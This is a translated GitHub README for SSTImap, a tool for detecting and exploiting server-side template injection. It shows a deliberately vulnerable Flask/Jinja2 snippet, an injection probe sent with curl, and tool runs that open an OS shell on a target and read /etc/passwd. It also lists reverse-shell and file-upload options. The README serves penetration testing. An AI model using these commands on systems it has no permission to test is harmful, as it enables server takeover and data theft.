vladko312/SSTImap

GitHub: vladko312/SSTImap

一款基于Python的自动化服务端模板注入(SSTI)检测与利用工具,支持多种模板引擎和交互式渗透模式。

Stars: 1425 | Forks: 150

# SSTImap [![Version 1.3](https://img.shields.io/badge/version-1.3-green.svg?logo=github)](https://github.com/vladko312/sstimap) [![Python 3.13](https://img.shields.io/badge/python-3.13-blue.svg?logo=python)](https://www.python.org/downloads/release/python-3130/) [![Python 3.6](https://img.shields.io/badge/python-3.6+-yellow.svg?logo=python)](https://www.python.org/downloads/release/python-360/) [![GitHub](https://img.shields.io/github/license/vladko312/sstimap?color=green&logo=gnu)](https://www.gnu.org/licenses/gpl-3.0.txt) [![GitHub last commit](https://img.shields.io/github/last-commit/vladko312/sstimap?color=green&logo=github)](https://github.com/vladko312/sstimap/commits/) [![Maintenance](https://img.shields.io/maintenance/yes/2026?logo=github)](https://github.com/vladko312/sstimap) SSTImap 是一款渗透测试软件,能够检测网站的代码注入和服务器端模板注入(SSTI)漏洞并进行利用,从而获取对操作系统的访问权限。 该工具旨在作为用于 SSTI 检测和利用的交互式渗透测试工具,以实现更高级的利用。更多 SSTImap 的 payload 可以在[这里](https://github.com/vladko312/extras)找到。 Payload 和技术来源于: - James Kettle 的 [Server-Side Template Injection: RCE For The Modern Web App][5] - 其他公开研究 [\[1\]][1] [\[2\]][2] [\[8\]][8] - 对 Tplmap 的贡献 [\[3\]][3] [\[4\]][4] - 我自己的研究 [\[9\]][9] 该工具能够利用某些代码上下文逃逸和盲注场景。它还支持 Java, JavaScript, PHP, Python, Ruby 中的 _eval()_-类代码注入以及通用的非沙箱模板引擎。 ## 与 Tplmap 的主要区别 尽管该软件基于 Tplmap 的代码,但不提供向后兼容性。 - 增加了两种用于 SSTI 检测和利用的新技术 - 交互模式 (`-i`) 允许更轻松地利用和检测 - 在 payload 回显的情况下,使用简单的评估 payload 作为响应标记 - 增加了用于通用模板的新 payload,使用 `--generic` 测试所有上下文 - 使用 `Eval_generic` 模块进行通用评估模板注入检测 - 基础语言 _eval()_-类 shell (`-x`) 或单条命令 (`-X`) 执行 - 为更多模板增加了新 payload,并更新了许多现有 payload - 模块化插件结构,允许安装额外的插件 - 支持不同的 POST 数据类型 - 增加了爬虫和表单检测功能 - 为许多参数添加了短版本 - 一些旧的命令行参数已更改,请查看 `-h` 获取帮助 - 代码已更新为使用更新的 Python 特性 - Burp Suite 扩展暂时移除,因为 _Jython_ 不支持 Python3 ## 服务器端模板注入 这是一个使用 [Flask][6] 框架和 [Jinja2][7] 模板引擎用 Python 编写的简单网站示例。它以不安全的方式集成了用户提供的变量 `name`,因为它在渲染之前被连接到模板字符串中。 ``` from flask import Flask, request, render_template_string import os app = Flask(__name__) @app.route("/page") def page(): name = request.args.get('name', 'World') # SSTI VULNERABILITY: template = f"Hello, {name}!
\n" \ "OS type: {{os}}" return render_template_string(template, os=os.name) if __name__ == "__main__": app.run(host='0.0.0.0', port=80) ``` 这种使用模板的方式不仅会产生 XSS 漏洞,还允许攻击者注入模板代码,这些代码将在服务器上执行,从而导致 SSTI。 ``` $ curl -g 'https://www.target.com/page?name=John' Hello John!
OS type: posix $ curl -g 'https://www.target.com/page?name={{7*7}}' Hello 49!
OS type: posix ``` 用户提供的输入应通过渲染上下文以安全的方式引入: ``` from flask import Flask, request, render_template_string import os app = Flask(__name__) @app.route("/page") def page(): name = request.args.get('name', 'World') template = "Hello, {{name}}!
\n" \ "OS type: {{os}}" return render_template_string(template, name=name, os=os.name) if __name__ == "__main__": app.run(host='0.0.0.0', port=80) ``` ## 预定模式 处于预定模式的 SSTImap 与 Tplmap 非常相似。它能够检测和利用多种不同模板中的 SSTI 漏洞。 利用成功后,SSTImap 可以提供代码评估、OS 命令执行和文件系统操作的访问权限。 要检查 URL,你可以使用 `-u` 参数: ``` $ ./sstimap.py -u https://example.com/page?name=John ╔══════╦══════╦═══════╗ ▀█▀ ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═ ║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __ ╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \ ╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) | ╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/ │ | | |_| [*] Version: 1.3.0 [*] Author: @vladko312 [*] Based on Tplmap [!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] Testing if GET parameter 'name' is injectable [*] Smarty plugin is testing rendering with tag '*' ... [*] Jinja2 plugin is testing rendering with tag '{{*}}' [+] Jinja2 plugin has confirmed injection with tag '{{*}}' [+] SSTImap identified the following injection point: GET parameter: name Engine: Jinja2 Injection: {{*}} Context: text OS: posix-linux Technique: render Capabilities: Shell command execution: ok Bind and reverse shell: ok File write: ok File read: ok Code evaluation: ok, python code [+] Rerun SSTImap providing one of the following options: --os-shell Prompt for an interactive operating system shell --os-cmd Execute an operating system command. --eval-shell Prompt for an interactive shell on the template engine base language. --eval-cmd Evaluate code in the template engine base language. --tpl-shell Prompt for an interactive shell on the template engine. --tpl-cmd Inject code in the template engine. --bind-shell PORT Connect to a shell bind to a target port --reverse-shell HOST PORT Send a shell back to the attacker's port --upload LOCAL REMOTE Upload files to the server --download REMOTE LOCAL Download remote files ``` 使用 `--os-shell` 选项在目标上启动伪终端。 ``` $ ./sstimap.py -u https://example.com/page?name=John --os-shell ╔══════╦══════╦═══════╗ ▀█▀ ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═ ║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __ ╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \ ╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) | ╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/ │ | | |_| [*] Version: 1.3.0 [*] Author: @vladko312 [*] Based on Tplmap [!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] Testing if GET parameter 'name' is injectable [*] Smarty plugin is testing rendering with tag '*' ... [*] Jinja2 plugin is testing rendering with tag '{{*}}' [+] Jinja2 plugin has confirmed injection with tag '{{*}}' [+] SSTImap identified the following injection point: GET parameter: name Engine: Jinja2 Injection: {{*}} Context: text OS: posix-linux Technique: render Capabilities: Shell command execution: ok Bind and reverse shell: ok File write: ok File read: ok Code evaluation: ok, python code [+] Run commands on the operating system. posix-linux $ whoami root posix-linux $ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ``` 要获取完整的选项列表,请使用 `--help` 参数。 ## 交互模式 在交互模式下,使用命令与 SSTImap 进行交互。要进入交互模式,你可以使用 `-i` 参数。除与利用 payload 相关的参数外,所有其他参数将用作设置的初始值。 一些命令用于在测试运行之间更改设置。要运行测试,必须通过初始 `-u` 参数或 `url` 命令提供目标 URL。之后,你可以使用 `run` 命令检查 URL 是否存在 SSTI。 如果发现 SSTI,可以使用命令开始利用。你可以获得与预定模式相同的利用能力,但你可以使用 `Ctrl+C` 中止它们而无需停止程序。 顺便说一下,测试结果在目标 URL 更改之前一直有效,因此你可以轻松地在利用方法之间切换,而无需每次都运行检测测试。 要获取交互命令的完整列表,请在交互模式下使用 `help` 命令。 ## 支持的模板引擎 SSTImap 支持多种模板引擎和 _eval()_-类注入。 欢迎通过 PR 提交新的 payload。查看[提示](https://github.com/vladko312/extras#developing-plugins)以加速开发。 | Engine | RCE | Tech | Language | Type | |------------------------------------------------------------------------------------|-----|------|------------|--------------------------------------------------------| | Freemarker | ✓ | REBT | Java | Default | | Java EL generic injections | ✓ | REBT | Java | Default | | OGNL (Object-Graph Navigation Language code eval) | ✓ | REBT | Java | Default | | Velocity | ✓ | REBT | Java | Default | | Nunjucks | ✓ | REBT | JavaScript | Default | | JavaScript (code eval) | ✓ | REBT | JavaScript | Default | | JavaScript-based generic templates | ✓ | REBT | JavaScript | Default | | Twig (>=1.41; >=2.10; >=3.0) | ✓ | REBT | PHP | Default | | PHP (code eval) | ✓ | REBT | PHP | Default | | PHP-based generic templates | ✓ | REBT | PHP | Default | | Jinja2 | ✓ | REBT | Python | Default | | Python (code eval) | ✓ | REBT | Python | Default | | Python-based generic templates | ✓ | REBT | Python | Default | | ERB | ✓ | REBT | Ruby | Default | | Slim | ✓ | REBT | Ruby | Default | | Ruby (code eval) | ✓ | REBT | Ruby | Default | | Generic evaluating templates | × | Reb_ | * | Default | | SpEL (Spring EL code eval) | ✓ | REBT | Java | Generic | | doT | ✓ | REBT | JavaScript | Generic | | EJS | ✓ | REBT | JavaScript | Generic | | Marko | ✓ | REBT | JavaScript | Generic | | Pug | ✓ | REBT | JavaScript | Generic | | Smarty | ✓ | REBT | PHP | Generic | | Cheetah | ✓ | REBT | Python | Generic | | Mako | ✓ | REBT | Python | Generic | | Tornado | ✓ | REBT | Python | Generic | | Dust (<= dustjs-helpers@1.5.0) | ✓ | REBT | JavaScript | Legacy | | Twig (<=1.19) | ✓ | REBT | PHP | Legacy | | Templite | ✓ | REBT | Python | Legacy | | SSI (Server-Side Includes injection) | ✓ | R__T | SSI | Legacy | | [CVE-2025-1302](https://gist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afae8db6456) | ✓ | REBT | JavaScript | [Extra](https://github.com/vladko312/extras/tree/main) | | [CVE-2025-13204](https://huntr.com/bounties/1-npm-expr-eval) | ✓ | REBT | JavaScript | [Extra](https://github.com/vladko312/extras/tree/main) | | [CVE-2022-23614](https://nvd.nist.gov/vuln/detail/CVE-2022-23614) | ✓ | REBT | PHP | [Extra](https://github.com/vladko312/extras/tree/main) | | [CVE-2024-6386](https://sec.stealthcopter.com/wpml-rce-via-twig-ssti/) | ✓ | REBT | PHP | [Extra](https://github.com/vladko312/extras/tree/main) | 技术:(R)endered(渲染),(E)rror-based(基于错误),(B)oolean error-based blind(基于布尔错误的盲注)和 (T)ime-based blind(基于时间的盲注);小写字母标记部分支持的技术 更多插件和 payload 可以在 [SSTImap Extra Plugins](https://github.com/vladko312/extras) 仓库中找到。 ## Burp Suite 插件 目前,Burp Suite 仅能与 Jython 协作作为执行 Python2 的方式。不提供 Python3 功能。 ## 未来计划 如果你计划从此列表中贡献一些大的内容,请通知我,以避免与我或其他贡献者从事相同的工作。 - [ ] 为不同的引擎添加更多 payload - [ ] 减少插件对基础插件的依赖 - [ ] 从文件解析原始 HTTP 请求 - [ ] 变量转储功能 - [ ] 盲注/侧信道值提取 - [ ] 更好的文档(或者至少任何文档) - [ ] 短参数作为交互命令? - [ ] 用于脚本集成的 JSONL/plaintext API 模式? - [ ] 更好的 Python 脚本集成 - [ ] Multipart POST 数据类型支持 - [ ] 用于更自定义请求的模块(二阶、重置、非 HTTP) - [ ] Payload 处理脚本 - [ ] 更好的配置功能 - [ ] 保存发现的漏洞 - [ ] HTML 或其他格式的报告 - [ ] 多行语言评估? - [ ] 避免在 payload 中产生平台依赖 - [ ] 在基于 exec 的 RCE 场景中测试多个 shell - [ ] 更新 NodeJS payload,因为 process.mainModule 可能未定义 - [x] Spider/crawler 自动化(由 [fantesykikachu](https://github.com/fantesykikachu) 完成) - [x] 自动语言和引擎导入 - [x] 更多 POST 数据类型支持 - [x] 使模板和基础语言评估功能更加统一 - [x] 移除转义码的参数?
标签:CISA项目, Python, RCE, SSTI, SSTImap, Tplmap, Web安全, XXE攻击, 交互式命令行, 子域名暴力破解, 数据展示, 无后门, 服务器端模板注入, 模板引擎, 盲注, 红队, 编程工具, 自动化检测, 蓝队分析, 远程代码执行, 逆向工具